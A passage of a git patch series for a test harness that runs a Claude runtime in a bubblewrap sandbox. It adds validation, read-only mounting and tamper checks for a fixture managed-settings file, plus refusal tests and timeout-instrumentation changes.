a/packages/ui-backend-claude/tests/fixtures/provider-request-shape-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-request-shape-probe.ts @@ -1,4 +1,4 @@ -import {nativeScriptedService} from "../../../../scripts/test-native-guard.ts"; +import {nativeScriptedService,nativeFixtureManagedSettings} from "../../../../scripts/test-native-guard.ts"; /** * Production SDK assembly and hooks through the pinned runtime and Unix relay. * captureOffline isolates networking. This probe launches the runtime directly: @@ -52,6 +52,7 @@ const model = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); const closeFixtureAuthority=nativeScriptedService(model.url.origin,{fixtureRoots:[scratch],fixtureCredentials:{ANTHROPIC_API_KEY:"offline-odysseus"}}); +const closeManagedSettings=process.env.REQUEST_SHAPE_MANAGED_GATEWAY?nativeFixtureManagedSettings(scratch):undefined; const relay = startInferenceRelay({ upstream: model.url.origin, routes: ["/v1/messages"], credentials: { "x-api-key": "offline-odysseus" } }); linkSync(relay.socketPath, join(relay.dir, "inference.sock")); const proxy = Bun.serve({ unix: join(relay.dir, "proxy.sock"), fetch() { return new Response("Unused fixture proxy", { status: 403 }); } }); @@ -211,4 +212,4 @@ try { } } writeFileSync(join(scratch, "requests.json"), JSON.stringify(captures)); -} finally { restore(); proxy.stop(true); relay.stop(); closeFixtureAuthority(); model.stop(true); } +} finally { restore(); proxy.stop(true); relay.stop(); closeManagedSettings?.();closeFixtureAuthority(); model.stop(true); } diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 64981a8f0b..0ec3771b75 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -841,7 +841,7 @@ function nativeClaudeBoundaryInspected(command: string, args: string[], options: command = resolveExecutable(command, options); const executable = realpathSync(command); if(options.receiptMode==="restricted-probe"&&isNativeClaude(command,args,options))refuse("native runtime cannot use restricted probe receipt mode"); - const mounts = [...systemMounts(), + const mounts = [...systemMounts(),...nativeFixtureManagedSettingsMounts(), "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp", ...testRuntimeMounts(), "--ro-bind", executable, command, "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy(), "--bind", home, home, ...(cwd === ROOT || within(ROOT, cwd) || within(home, cwd) ? [] : ["--bind", cwd, cwd]), @@ -851,7 +851,7 @@ function nativeClaudeBoundaryInspected(command: string, args: string[], options: ...(inheritedSocket && inheritedOrigin ? ["--ro-bind", inheritedSocket, "/tmp/native-relay/relay.sock", "--ro-bind", inheritedSocket, inheritedSocket] : []), ...nativeFixtureFileMounts(bridge.directory), ...(turnProxy?["--dir","/run/brain-egress","--ro-bind",turnProxy.socket,WORKER_TURN_PROXY]:[]),]; - const beforeLaunch = () => {try{route.revalidate?.();}catch{refuse("native fixture authority is no longer live");}assertNativeMountSockets(mounts, route.origin);}; + const beforeLaunch = () => {try{fixtureManagedSettings.get(route)?.check();route.revalidate?.();}catch{refuse("native fixture authority is no longer live");}assertNativeMountSockets(mounts, route.origin);}; beforeLaunch(); const argv = [bwrapExecutable, "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...mounts, "--clearenv"]; const childEnv: Record = { ...nativeProductEnvironment(env), HOME: home, @@ -882,6 +882,31 @@ function nativeClaudeBoundaryInspected(command: string, args: string[], options: } catch (error) { readiness?.dispose();turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } +/** Only the actual provider-history helper allocation can supply this policy. */ +const fixtureManagedSettings=new WeakMap(); +function validateFixtureManagedSettings(bytes:Buffer):void { + const value=JSON.parse(bytes.toString("utf8")); + if(!value||typeof value!=="object"||Array.isArray(value)||Object.keys(value).some(key=>key!=="env")||!value.env||typeof value.env!=="object"||Array.isArray(value.env)||Object.keys(value.env).some(key=>key!=="ENABLE_TOOL_SEARCH")||!["true","false"].includes(value.env.ENABLE_TOOL_SEARCH))throw Error("Fixture managed settings content refused"); +} +export function nativeFixtureManagedSettings(root:string,source=join(root,"managed-settings/claude-code/managed-settings.json")):()=>void { + const scope=scriptedRoute.getStore(); + const deny=():never=>refuse("fixture managed settings unavailable"); + if(!scope||!scope.isLive()||!scope.fixtureRoots.includes(root)||realpathSync(root)!==root||source!==join(root,"managed-settings/claude-code/managed-settings.json")||fixtureManagedSettings.has(scope))return deny(); + let allocation:ReturnType|undefined; + try{ + const rootStamp=lstatSync(root,{bigint:true}),declared=scope.fixtureRootStamps.get(root);if(!declared||rootStamp.dev!==declared.dev||rootStamp.ino!==declared.ino)throw Error("Foreign fixture root"); + const inspect=(path:string)=>{const info=lstatSync(path,{bigint:true});if(!info.isFile()||info.nlink!==1n||info.size>65536n||info.uid!==BigInt(nativeKernelIdentity().uid)||realpathSync(path)!==path)throw Error("Foreign fixture settings");return fixturePathKey(path);}; + const original=inspect(source),bytes=readFileSync(source);validateFixtureManagedSettings(bytes);const digest=createHash("sha256").update(bytes).digest("hex"); + const helper=createRequire(import.meta.url)(join(ROOT,"tests/helpers/provider-history.ts")) as typeof import("../tests/helpers/provider-history"); + allocation=helper.allocateManagedSettingsFixture(root,source);chmodSync(allocation.path,0o444);const pin=inspect(allocation.path);let active=true; + const check=()=>{if(!active||!scope.isLive()||scriptedRoute.getStore()!==scope||inspect(source)!==original||inspect(allocation!.path)!==pin||fileHash(source)!==digest||fileHash(allocation!.path)!==digest)throw Error("Fixture managed settings changed or expired");}; + check();const close=()=>{if(!active)return;active=false;allocation!.close();}; + fixtureManagedSettings.set(scope,{mounts:["--ro-bind",allocation.path,"/etc/claude-code/managed-settings.json"],check,close}); + return close; + }catch{allocation?.close();return deny();} +} +export function nativeFixtureManagedSettingsMounts():string[]{const scope=scriptedRoute.getStore(),entry=scope&&fixtureManagedSettings.get(scope);if(!entry)return [];try{entry.check();return [...entry.mounts];}catch{return refuse("fixture managed settings unavailable");}} + interface ScriptedAuthority { isLive():boolean; fixtureCredentials:ReadonlyMap; origin: string; fixtureRoots: readonly string[]; fixtureRootStamps: ReadonlyMap; fixtureFiles: ReadonlyMap; turnProxy?: boolean;revalidate?:()=>void } const scriptedRoute = new AsyncLocalStorage(); export function nativeFixtureTitleCollector(env:Record):()=>void {const scope=scriptedRoute.getStore();if(!scope)throw Error("native title collector declaration unavailable");return registerNativeTitleCollector(env,scope);} diff --git a/tests/helpers/provider-history.ts b/tests/helpers/provider-history.ts index abb1f548f3..d24a267b3b 100644 --- a/tests/helpers/provider-history.ts +++ b/tests/helpers/provider-history.ts @@ -161,3 +161,10 @@ export async function captureOffline(probe: string, options: { isolateManagedSet return JSON.parse(readFileSync(join(scratch, "requests.json"), "utf8")); } finally { clearTimeout(deadline); child.kill(); rmSync(scratch, { recursive: true, force: true }); } } + +/** Real fixture allocation; callers retain its lifetime through native teardown. */ +export function allocateManagedSettingsFixture(root:string,source:string) { + const directory=mkdtempSync(join(root,"odysseus-managed-settings-")),path=join(directory,"managed-settings.json"); + writeFileSync(path,readFileSync(source),{mode:0o400,flag:"wx"}); + return {path,close(){rmSync(directory,{recursive:true,force:true});}}; +} diff --git a/tests/native-fixture-managed-policy.test.ts b/tests/native-fixture-managed-policy.test.ts new file mode 100644 index 0000000000..ea381b2f1b --- /dev/null +++ b/tests/native-fixture-managed-policy.test.ts @@ -0,0 +1,29 @@ +/** Fixture policy only; no installed native process executes. */ +import {expect,test} from "bun:test"; +import {join} from "node:path"; +import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; +const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); +for(const mode of ["valid","host","helper","credential","url","unknown","inode","content","expired"] as const)test(`fixture managed settings: ${mode}`,async()=>{ + const script=`import {expect} from "bun:test";import {mkdirSync,mkdtempSync,writeFileSync,rmSync,readFileSync,statSync,renameSync} from "node:fs";import {join} from "node:path";import {nativeScriptedService,nativeFixtureManagedSettings,nativeFixtureManagedSettingsMounts} from ${JSON.stringify(guard)};const mode=${JSON.stringify(mode)};function proof(){ + const root=mkdtempSync("/tmp/odysseus-managed-policy-"),directory=join(root,"managed-settings/claude-code"),source=join(directory,"managed-settings.json");mkdirSync(directory,{recursive:true}); + const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("fixture")}); + const closeScope=nativeScriptedService(server.url.origin,{fixtureRoots:[root]});let close; + try{ + const settings=mode==="helper"?{env:{ENABLE_TOOL_SEARCH:"true"},apiKeyHelper:"echo forbidden"}:mode==="credential"?{env:{ENABLE_TOOL_SEARCH:"true",ANTHROPIC_API_KEY:"fictional"}}:mode==="url"?{env:{ENABLE_TOOL_SEARCH:"https://example.invalid"}}:mode==="unknown"?{unlisted:true}:{env:{ENABLE_TOOL_SEARCH:"true"}}; + writeFileSync(source,JSON.stringify(settings),{mode:0o600}); + if(["host","helper","credential","url","unknown"].includes(mode)){ + expect(()=>nativeFixtureManagedSettings(root,mode==="host"?"/etc/claude-code/managed-settings.json":source),"UNVALIDATED_MANAGED_POLICY_MUST_REFUSE").toThrow("fixture managed settings unavailable");console.log("EXPECTED_POLICY_REFUSAL");return; + } + close=nativeFixtureManagedSettings(root); + if(mode==="inode"){renameSync(source,source+".old");writeFileSync(source,JSON.stringify(settings));} + if(mode==="content")writeFileSync(source,JSON.stringify({env:{ENABLE_TOOL_SEARCH:"false"}})); + if(mode==="expired")close(); + if(mode!=="valid"){expect(()=>nativeFixtureManagedSettingsMounts(),"CHANGED_OR_EXPIRED_MANAGED_POLICY_MUST_REFUSE").toThrow();console.log("EXPECTED_POLICY_REFUSAL");return;} + const mounts=nativeFixtureManagedSettingsMounts();expect(mounts[0]).toBe("--ro-bind");expect(mounts[2]).toBe("/etc/claude-code/managed-settings.json");expect(readFileSync(mounts[1]!,"utf8")).toBe(JSON.stringify(settings));expect(statSync(mounts[1]!).mode&0o777).toBe(0o444); + }finally{close?.();closeScope();server.stop(true);rmSync(root,{recursive:true,force:true});} + }proof();`; + const child=spawnGuardFixture([process.execPath,"-e",script],{stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(code,err).toBe(mode==="valid"?0:1); + if(mode!=="valid")expect(out,"MANAGED_POLICY_REFUSAL_PROOF_REACHED").toContain("EXPECTED_POLICY_REFUSAL"); +}); diff --git a/tests/native-namespace-policy.test.ts b/tests/native-namespace-policy.test.ts index 2e2059b2a2..7aebb68cc9 100644 --- a/tests/native-namespace-policy.test.ts +++ b/tests/native-namespace-policy.test.ts @@ -46,3 +46,17 @@ for(const [file,source] of fixtureSources(root))for(const [index,plan] of namesp expect(child.exitCode,child.stderr.toString()).toBe(0); }finally{rmSync(scratch,{recursive:true,force:true});} }); + +test("observed fixture managed settings are read-only at the exact native destination",async()=>{ + const {nativeScriptedService,nativeFixtureManagedSettings,nativeFixtureManagedSettingsMounts}=await import("../scripts/test-native-guard"); + const {mkdirSync,writeFileSync}=await import("node:fs"); + const scratch=mkdtempSync(join(tmpdir(),"odysseus-policy-projection-")),directory=join(scratch,"managed-settings/claude-code");mkdirSync(directory,{recursive:true}); + writeFileSync(join(directory,"managed-settings.json"),JSON.stringify({env:{ENABLE_TOOL_SEARCH:"true"}}));writeFileSync(join(directory,"undeclared.json"),"Odysseus private fixture neighbor"); + const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("fixture")});const leave=nativeScriptedService(server.url.origin,{fixtureRoots:[scratch]});let close:(()=>void)|undefined; + try{ + close=nativeFixtureManagedSettings(scratch);const mounts=nativeFixtureManagedSettingsMounts(); + const code='import os,json,errno\np="/etc/claude-code/managed-settings.json"\nassert json.load(open(p))=={"env":{"ENABLE_TOOL_SEARCH":"true"}}\nassert not os.path.exists("/etc/claude-code/undeclared.json")\ntry: open(p,"w")\nexcept OSError as e: assert e.errno==errno.EROFS\nelse: raise AssertionError("FIXTURE_POLICY_WRITABLE")\nprint("EXACT_READONLY_FIXTURE_POLICY")'; + const child=Bun.spawnSync(["bwrap","--unshare-user","--unshare-net","--ro-bind","/usr","/usr","--symlink","usr/bin","/bin","--symlink","usr/lib","/lib","--symlink","usr/lib64","/lib64","--tmpfs","/etc","--proc","/proc","--dev","/dev",...mounts,"/usr/bin/python3","-I","-S","-c",code],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(30000)}); + expect(child.exitCode,"EXACT_READONLY_FIXTURE_POLICY: "+child.stderr.toString()).toBe(0);expect(child.stdout.toString()).toContain("EXACT_READONLY_FIXTURE_POLICY"); + }finally{close?.();leave();server.stop(true);rmSync(scratch,{recursive:true,force:true});} +}); From 7bfcbb770ba2ba5859a226a509f3d77a0f45e069 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 11:17:21 +0000 Subject: [PATCH 138/187] fix(test): pin the actual managed policy helper allocation --- scripts/test-native-guard.ts | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 0ec3771b75..78b96ae580 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -884,6 +884,7 @@ function nativeClaudeBoundaryInspected(command: string, args: string[], options: /** Only the actual provider-history helper allocation can supply this policy. */ const fixtureManagedSettings=new WeakMap(); +let fixtureManagedSettingsFactory:typeof import("../tests/helpers/provider-history").allocateManagedSettingsFixture|undefined; function validateFixtureManagedSettings(bytes:Buffer):void { const value=JSON.parse(bytes.toString("utf8")); if(!value||typeof value!=="object"||Array.isArray(value)||Object.keys(value).some(key=>key!=="env")||!value.env||typeof value.env!=="object"||Array.isArray(value.env)||Object.keys(value.env).some(key=>key!=="ENABLE_TOOL_SEARCH")||!["true","false"].includes(value.env.ENABLE_TOOL_SEARCH))throw Error("Fixture managed settings content refused"); @@ -897,8 +898,10 @@ export function nativeFixtureManagedSettings(root:string,source=join(root,"manag const rootStamp=lstatSync(root,{bigint:true}),declared=scope.fixtureRootStamps.get(root);if(!declared||rootStamp.dev!==declared.dev||rootStamp.ino!==declared.ino)throw Error("Foreign fixture root"); const inspect=(path:string)=>{const info=lstatSync(path,{bigint:true});if(!info.isFile()||info.nlink!==1n||info.size>65536n||info.uid!==BigInt(nativeKernelIdentity().uid)||realpathSync(path)!==path)throw Error("Foreign fixture settings");return fixturePathKey(path);}; const original=inspect(source),bytes=readFileSync(source);validateFixtureManagedSettings(bytes);const digest=createHash("sha256").update(bytes).digest("hex"); - const helper=createRequire(import.meta.url)(join(ROOT,"tests/helpers/provider-history.ts")) as typeof import("../tests/helpers/provider-history"); - allocation=helper.allocateManagedSettingsFixture(root,source);chmodSync(allocation.path,0o444);const pin=inspect(allocation.path);let active=true; + fixtureManagedSettingsFactory??=(createRequire(import.meta.url)(new URL("../tests/helpers/provider-history.ts?native-managed-settings="+crypto.randomUUID(),import.meta.url).href) as typeof import("../tests/helpers/provider-history")).allocateManagedSettingsFixture; + allocation=fixtureManagedSettingsFactory(root,source); + const directory=dirname(allocation.path),folder=lstatSync(directory);if(dirname(directory)!==root||!basename(directory).startsWith("odysseus-managed-settings-")||basename(allocation.path)!=="managed-settings.json"||realpathSync(directory)!==directory||!folder.isDirectory()||folder.uid!==nativeKernelIdentity().uid||(folder.mode&0o7777)!==0o700)throw Error("Foreign helper allocation"); + chmodSync(allocation.path,0o444);const pin=inspect(allocation.path);let active=true; const check=()=>{if(!active||!scope.isLive()||scriptedRoute.getStore()!==scope||inspect(source)!==original||inspect(allocation!.path)!==pin||fileHash(source)!==digest||fileHash(allocation!.path)!==digest)throw Error("Fixture managed settings changed or expired");}; check();const close=()=>{if(!active)return;active=false;allocation!.close();}; fixtureManagedSettings.set(scope,{mounts:["--ro-bind",allocation.path,"/etc/claude-code/managed-settings.json"],check,close}); From 4c923310cfa70875013a7cb898d2640b7e3d159b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 11:53:18 +0000 Subject: [PATCH 139/187] fix(test): classify merged native proof deadlines --- scripts/native-proof/code-change-receipts.ts | 3 ++- scripts/native-proof/hosted-app.test.ts | 8 ++++---- scripts/native-proof/observation-hold.test.ts | 2 +- scripts/native-proof/observation-path-matrix.ts | 2 +- tests/native-timeout-inventory.test.ts | 2 +- 5 files changed, 9 insertions(+), 8 deletions(-) diff --git a/scripts/native-proof/code-change-receipts.ts b/scripts/native-proof/code-change-receipts.ts index 118e956731..8edf06701a 100644 --- a/scripts/native-proof/code-change-receipts.ts +++ b/scripts/native-proof/code-change-receipts.ts @@ -1,4 +1,5 @@ /** Native UID proof for the production journal's checkout receipt path (#4297). */ +import { watchdogMs } from "../test-deadlines.js"; import { expect } from "bun:test"; import type { Database } from "bun:sqlite"; import type { TurnJournal } from "../../packages/ui-server/src/brain/turn-journal.js"; @@ -9,7 +10,7 @@ export async function proveCodeChangeReceipts(app: { db: Database; wsHost: { jou const checkout = "workspaces/receipt-argo", turnId = "native-receipt-odysseus"; const run = async (program: string) => { const result = await boundary.run({ credentials: false, gate: "shared", purpose: "native receipt proof", env: { PATH: "/usr/bin:/bin" }, - argv: ["/usr/bin/python3", "-I", "-S", "-c", program], timeoutMs: 60_000, outputAreas: [checkout, "notes/receipt-odysseus.md"] }); + argv: ["/usr/bin/python3", "-I", "-S", "-c", program], timeoutMs: watchdogMs(60_000), outputAreas: [checkout, "notes/receipt-odysseus.md"] }); expect(result.exitCode, result.stderr).toBe(0); }; await run(String.raw` diff --git a/scripts/native-proof/hosted-app.test.ts b/scripts/native-proof/hosted-app.test.ts index 9dd4ce1e96..f829b6e70a 100644 --- a/scripts/native-proof/hosted-app.test.ts +++ b/scripts/native-proof/hosted-app.test.ts @@ -140,7 +140,7 @@ print(json.dumps(result))`; while (!stop) { const start = performance.now(); try { - const response = await fetch(origin + "/api/health", { headers: { cookie }, signal: AbortSignal.timeout(healthLimitMs) }); + const response = await fetch(origin + "/api/health", { headers: { cookie }, signal: AbortSignal.timeout(/* native-product-timing: Fixed one-second health/recovery promise; large-tree mode supplies its separately scaled watchdog. */ healthLimitMs) }); health.push({ elapsedMs: performance.now() - start, status: response.status, timeout: false }); await response.body?.cancel(); } catch (error) { health.push({ elapsedMs: performance.now() - start, timeout: true, error: String(error) }); } await sleep(50); @@ -165,14 +165,14 @@ print(json.dumps(result))`; const ack = sender.frames.find(f => f.type === "session_info" && f.requestId === requestId)!; expect(ack.workerProfile?.actualProfile, "NATIVE_ADMITTED_GOVERNED_PROFILE").toBe("governed"); sid = ack.sessionId; turnId = ack.turnId; - ackRecovery = await fetch(origin + `/api/sessions/${sid}/recovery`, { headers: { cookie }, signal: AbortSignal.timeout(healthLimitMs) }).then(r => r.json()); + ackRecovery = await fetch(origin + `/api/sessions/${sid}/recovery`, { headers: { cookie }, signal: AbortSignal.timeout(/* native-product-timing: Fixed one-second health/recovery promise; large-tree mode supplies its separately scaled watchdog. */ healthLimitMs) }).then(r => r.json()); durableAckMs = performance.now() - begin; await until(() => sender.frames.some(f => f.type === "result" && f.receiptAt >= begin && f.sessionId === (sid ?? f.sessionId)) || sender.frames.some(f => f.type === "error" && f.receiptAt >= begin && f.requestId === requestId), 45000); // Visible result/journal frames precede final durable settlement and slot release. await until(() => sender.frames.some(f => f.type === "turn_journal" && f.turnId === ack.turnId && f.journal?.state === "complete") && eventLog.read("turn-settlement").some(row => row.kind === "session_slot_released" && row.turnId === ack.turnId),10000); expect(sender.frames.filter(f => f.type === "turn_journal" && f.turnId === ack.turnId).every(f => f.journal?.profile === "governed"), "NATIVE_JOURNAL_GOVERNED_PROFILE").toBe(true); - recovery = await fetch(origin + `/api/sessions/${sid}/recovery`, { headers: { cookie }, signal: AbortSignal.timeout(healthLimitMs) }).then(r => r.json()); + recovery = await fetch(origin + `/api/sessions/${sid}/recovery`, { headers: { cookie }, signal: AbortSignal.timeout(/* native-product-timing: Fixed one-second health/recovery promise; large-tree mode supplies its separately scaled watchdog. */ healthLimitMs) }).then(r => r.json()); } catch (error) { completed = false; phaseError = String(error); } finally { stop = true; clearInterval(pingTimer); await probe; } @@ -195,7 +195,7 @@ print(json.dumps(result))`; sender = await device(); sender.ws.send(JSON.stringify({ type: "session_resume", sessionId: sid })); await until(() => sender.frames.some(f => f.type === "session_info" && f.sessionId === sid)); - const recovered = await fetch(origin + `/api/sessions/${sid}/recovery`, { headers: { cookie }, signal: AbortSignal.timeout(healthLimitMs) }).then(r => r.json()); + const recovered = await fetch(origin + `/api/sessions/${sid}/recovery`, { headers: { cookie }, signal: AbortSignal.timeout(/* native-product-timing: Fixed one-second health/recovery promise; large-tree mode supplies its separately scaled watchdog. */ healthLimitMs) }).then(r => r.json()); expect(recovered.latest?.requestId, "RECONNECT_RECOVERS_SAME_ACCEPTED_REQUEST").toBe(requestId); expect(recovered.latest?.state, "RECONNECT_RECOVERS_TERMINAL_REQUEST").toBe("terminal"); await sleep(200); diff --git a/scripts/native-proof/observation-hold.test.ts b/scripts/native-proof/observation-hold.test.ts index c8bf1f5cb5..c032542f6b 100644 --- a/scripts/native-proof/observation-hold.test.ts +++ b/scripts/native-proof/observation-hold.test.ts @@ -34,7 +34,7 @@ test("matrix client disables an armed socket idle timer while retaining its abor const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch() { await Bun.sleep(120); return Response.json({ recorded: 10000 }); } }); const get = http.get; const armed = spyOn(http, "get").mockImplementation(((...args: unknown[]) => { - const request = Reflect.apply(get, http, args); request.setTimeout(10, () => request.destroy(new Error("client idle timeout"))); return request; + const request = Reflect.apply(get, http, args); request.setTimeout(10, /* native-product-timing: Controlled socket-idle fault injection; the client must disable this timer, not extend it. */ () => request.destroy(new Error("client idle timeout"))); return request; }) as typeof http.get); try { const outcome = await observationMatrixRequest(`http://127.0.0.1:${server.port}/matrix`, AbortSignal.timeout(watchdogMs(10000))).then(async response => ({ error: null, body: await response.json() }), error => ({ error: String(error), body: null })); diff --git a/scripts/native-proof/observation-path-matrix.ts b/scripts/native-proof/observation-path-matrix.ts index e2ef2dfdd4..65c5686ab2 100644 --- a/scripts/native-proof/observation-path-matrix.ts +++ b/scripts/native-proof/observation-path-matrix.ts @@ -76,7 +76,7 @@ export async function observationPathMatrix(brain: string, journal: TurnJournal, // governed worker and a sparse publication copy: no giant content capture. detach(); detach = undefined; await scope.begin(turnId, { sessionId: null, principalId, origin: "interactive", profile: "governed", policy: hold.policy.policy, - source: "default", hardTimeoutMs: 3600000, current: () => true, stop: () => worker?.kill("SIGKILL") }); scoped = true; + source: "default", hardTimeoutMs: watchdogMs(3600000), current: () => true, stop: () => worker?.kill("SIGKILL") }); scoped = true; scope.workerStarted(turnId, worker); // Older comparison sources have neither index metadata nor this guard. // Timing always completes; the optional after-change probe is separate. diff --git a/tests/native-timeout-inventory.test.ts b/tests/native-timeout-inventory.test.ts index 0d9a70772a..cad350a3ae 100644 --- a/tests/native-timeout-inventory.test.ts +++ b/tests/native-timeout-inventory.test.ts @@ -51,7 +51,7 @@ test("native product timings and Bash budgets stay unscaled",()=>{ for(const[file,source]of sources)for(const item of nativeDeadlines(file,source))if(item.productReason){ products++;expect(item.expression.getText(source),"NATIVE_PRODUCT_TIMING_STAYS_FIXED").not.toContain("watchdogMs"); if(file==="scripts/native-proof/hosted-app.test.ts"&&item.kind==="abort"){ - health++;expect(item.expression.getText(source),"ADMISSION_ONE_SECOND_BUDGET_UNCHANGED").toBe("1000"); + health++;expect(item.expression.getText(source),"ADMISSION_ONE_SECOND_BUDGET_UNCHANGED").toBe("healthLimitMs"); } } expect(products).toBeGreaterThan(0);expect(health).toBe(4); From 04b8e2486b1a03a257591b4a1857bd4d9de1c56a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 11:55:52 +0000 Subject: [PATCH 140/187] fix(test): refresh mutable inspection bytes and isolate timing receipts --- .../tests/fixtures/ordinary-identity-ws.ts | 11 +- .../native-proof/identity-manager.native.ts | 1 + .../stage-metadata-channel.test.py | 59 ++++++++++ scripts/native-stage-metadata-channel.py | 85 ++++++++------- scripts/native-stage-metadata-channel.ts | 2 +- scripts/native-stage-metadata-check.ts | 13 ++- scripts/native-test-receipts.ts | 13 ++- scripts/test-native-guard.ts | 103 +++++++++++------- tests/native-managed-inspection.test.ts | 64 +++++++++-- 9 files changed, 256 insertions(+), 95 deletions(-) create mode 100644 scripts/native-proof/stage-metadata-channel.test.py diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index 89ac683b8a..c8e8325603 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -1,4 +1,4 @@ -import {nativeFixtureGuardTiming,nativeFixtureFindingCounts,nativeFixtureSetupCounts} from "../../../../scripts/test-native-guard"; +import {nativeFixtureGuardTimingWindow,nativeFixtureFindingCounts,nativeFixtureSetupCounts} from "../../../../scripts/test-native-guard"; import "../../../../scripts/test-network-child-preload.ts"; import {observeNativeProofStages} from "../../../../tests/helpers/native-managed-proof"; import {nativeFixtureTurnDataTree} from "../../../../scripts/test-native-guard.ts"; @@ -119,6 +119,7 @@ const observability = createRecordingObservability(), secret = "odysseus-fixture let app: Awaited> | undefined; let server: ReturnType | undefined; let socket: WebSocket | undefined; +let timingWindow:ReturnType|undefined,timing:ReturnType["close"]>|undefined; const spawnDescriptor = Object.getOwnPropertyDescriptor(Bun, "spawn")!, spawn = Bun.spawn, observedAdapters = new Set(); Object.defineProperty(Bun, "spawn", { ...spawnDescriptor, value: (...args: any[]) => { const options = Array.isArray(args[0]) ? args[1] : args[0]; @@ -229,10 +230,11 @@ try { stage("ws:start"); socket = new NativeWebSocket(`ws://127.0.0.1:${server.port}/ws`, { headers: { cookie, origin: `http://127.0.0.1:${server.port}` } }); let submittedAt:number|undefined,nativeAckMs:number|undefined,acknowledgedAt:number|undefined; - socket.addEventListener("message",event=>{const frame=JSON.parse(String(event.data));frames.push(frame);if(submittedAt!==undefined&&frame.type==="session_info"&&frame.requestId==="ithaca-ordinary"&&nativeAckMs===undefined){acknowledgedAt=performance.now();nativeAckMs=acknowledgedAt-submittedAt;}}); + + socket.addEventListener("message",event=>{const frame=JSON.parse(String(event.data));frames.push(frame);if(submittedAt!==undefined&&frame.type==="session_info"&&frame.requestId==="ithaca-ordinary"&&nativeAckMs===undefined){timing=timingWindow!.close();acknowledgedAt=timing.windowEndMs;nativeAckMs=timing.rawMs;}}); await until(() => frames.some(frame => frame.type === "server_hello"), "REAL_SERVER_HELLO"); socket.send(JSON.stringify({ type: "client_hello", protocolRev: 3, capabilities: { followUpQueue: true } })); - submittedAt=performance.now(); + timingWindow=nativeFixtureGuardTimingWindow();submittedAt=timingWindow.startMs; socket.send(JSON.stringify({ type: "chat_message", text: "Plan the return to Ithaca.", providerId: "odysseus-haiku", requestId: "ithaca-ordinary" })); await until(() => frames.some(frame => frame.type === "result" || frame.type === "error"), "REAL_SERVER_NATIVE_TERMINAL"); await until(() => !app!.wsHost.coordinator.isTurnActive(), "REAL_SERVER_RELEASED_TURN"); @@ -240,7 +242,7 @@ try { // Product timing excludes only the union of the guard's own closed-list // intervals inside this exact submit/ack window. Product work is never timed // as guard work. See docs/process/testing.md#watchdogs-and-product-timings. - const timing=nativeFixtureGuardTiming(submittedAt!,acknowledgedAt!); + if(!timing)throw Error("ACTUAL_NATIVE_MANAGED_ACK_TIMING_MISSING"); console.log(JSON.stringify({actualNativeManagedAck:{profile,warm,...timing,findings:nativeFixtureFindingCounts(),setup:nativeFixtureSetupCounts(),budgetMs:10_000,rawWatchdogMs:30_000}})); expect(timing.rawMs,"ACTUAL_NATIVE_MANAGED_ACK_RAW_WATCHDOG").toBeLessThan(30_000); expect(timing.productMs,"ACTUAL_NATIVE_MANAGED_ACK_WITHIN_10_SECONDS").toBeLessThan(10_000); @@ -271,6 +273,7 @@ try { console.log(JSON.stringify({ actualOwnedScratchPruneJoined: { profile, warm } })); } } finally { try { + timingWindow?.dispose(); stage("cleanup:start"); try { socket?.close(); } finally { try { server?.stop(true); } finally { diff --git a/scripts/native-proof/identity-manager.native.ts b/scripts/native-proof/identity-manager.native.ts index 67cc228901..da7c7c39e0 100644 --- a/scripts/native-proof/identity-manager.native.ts +++ b/scripts/native-proof/identity-manager.native.ts @@ -23,6 +23,7 @@ import { proveNativeProviderIndex } from "./provider-index.native.js"; const brain = "/brain-fixture/brain", socketPath = "/native-runtime/identity-manager.sock"; const MIB = 1024 ** 2; +if(process.getuid?.()===0&&process.argv.includes("--preparation-proofs")&&!process.argv.includes("--ordinary-mid-walk-proof")){const proof=Bun.spawnSync(["/usr/bin/python3","-I","-S",join(import.meta.dir,"stage-metadata-channel.test.py")],{stdout:"pipe",stderr:"pipe"});expect(proof.exitCode,proof.stderr.toString()).toBe(0);console.log(JSON.stringify({stageMetadataProtocol:"pass",output:proof.stderr.toString()}));} function command(argv: string[]): string { const result = Bun.spawnSync(argv, { stdout: "pipe", stderr: "pipe" }); expect(result.exitCode, result.stderr.toString()).toBe(0); diff --git a/scripts/native-proof/stage-metadata-channel.test.py b/scripts/native-proof/stage-metadata-channel.test.py new file mode 100644 index 0000000000..636e204e85 --- /dev/null +++ b/scripts/native-proof/stage-metadata-channel.test.py @@ -0,0 +1,59 @@ +# Real metadata-only protocol proof, run by the existing root native proof. +import json,os,pathlib,select,socket,subprocess,tempfile,unittest +PROGRAM=pathlib.Path(__file__).resolve().parents[1]/'native-stage-metadata-channel.py' +def stamp(path): + value=os.lstat(path) + return 